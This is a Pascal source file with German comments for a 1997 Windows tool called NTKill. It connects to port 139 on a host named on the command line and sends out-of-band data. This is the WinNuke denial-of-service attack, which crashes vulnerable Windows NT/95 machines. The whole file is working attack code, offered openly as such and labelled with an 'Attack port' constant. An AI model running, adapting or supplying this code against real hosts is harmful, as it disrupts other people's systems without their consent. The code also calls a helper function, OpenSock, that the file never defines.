program NTKill;
{Kommandozeilenparameter: Rechner, der angegriffen wird}
uses WinProcs,WinTypes,WinSock,WinDos;
{$D NT und 95-Abschrecker V1.0 (05/97)}
{$R NTKill}
type
LongRec=record
Lo,Hi: Word;
end;
const
dport=139; {Attack port}
ByeMsg='Bye'; {egal was}
var
S: array[0..31]of Char;
Sock: TSocket;
WSAData: TWSAData;
TimeTaken: LongInt;
const
WM_ContinueInit=WM_User+10;
procedure ShortYield;
var
Msg:TMsg;
begin
if PeekMessage(Msg,0,0,0,PM_Remove) then begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
function AddListLine(Wnd:HWnd; S:PChar):Boolean;
begin
Wnd:=GetDlgItem(Wnd,101); {Handle des Dialogelementes}
SendMessage(Wnd,LB_SetTopIndex,
Word(SendMessage(Wnd,LB_AddString,0,LongInt(S))),0);
end;
function DialogProc(Wnd:HWnd; Msg,wParam:Word; lParam:LongInt):Bool; export;
begin
DialogProc:=false;
case Msg of
WM_InitDialog: begin
SetDlgItemText(Wnd,100,CmdLine);
PostMessage(Wnd,WM_ContinueInit,0,0);
end;
WM_ContinueInit: begin
UpdateWindow(Wnd);
if WSAStartUp($0101,WSAData)=0 then begin
AddListLine(Wnd,'WSAStartup() erfolgreich');
EnableWindow(GetDlgItem(Wnd,IDOK),true);
Sock:=Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if Sock=SOCKET_Error then AddListLine(Wnd,'Fehler bei socket()');
end else begin
AddListLine(Wnd,'Fehler bei WSAStartUp()');
end;
if lStrLen(CmdLine)>0 then PostMessage(Wnd,WM_Command,IDOK,0);
end;
WM_Command: case wParam of
IDOK: begin
GetDlgItemText(Wnd,100,S,sizeof(S));
EnableWindow(GetDlgItem(Wnd,IDOK),false);
{Die Verwendung "synchroner" Socket-Funktionen dürfte dazu führen,
daß während der Verbindung TAB, Cursortasten usw. versagen}
case OpenSock(Sock,S,dport) of
-3: AddListLine(Wnd,'Zielrechner nicht aufl÷sbar!');
-4: AddListLine(Wnd,'Connect() versagt - kein NT?');
0: begin
AddListLine(Wnd,'Connect() OK.');
if Send(Sock,ByeMsg,lstrlen(ByeMsg),MSG_OOB)<>SOCKET_Error
then AddListLine(Wnd,'Send() OOB-Daten OK.');
TimeTaken:=GetTickCount;
while GetTickCount-TimeTaken<1000 do ShortYield;
end;
end;
EnableWindow(GetDlgItem(Wnd,IDOK),true);
Wnd:=GetDlgItem(Wnd,100); {Übergabevariable mißbrauchen}
SetFocus(Wnd);
SendMessage(Wnd,EM_SetSel,0,$FFFF0000);
end;
IDCancel: begin
CloseSocket(Sock);
WSACleanUp;
EndDialog(Wnd,0);
end;
end;
end;
end;
begin
DialogBox(Seg(HInstance),MakeIntResource(100),0,@DialogProc);
end.
Detected encoding: OEM (CP437) | 1
|
|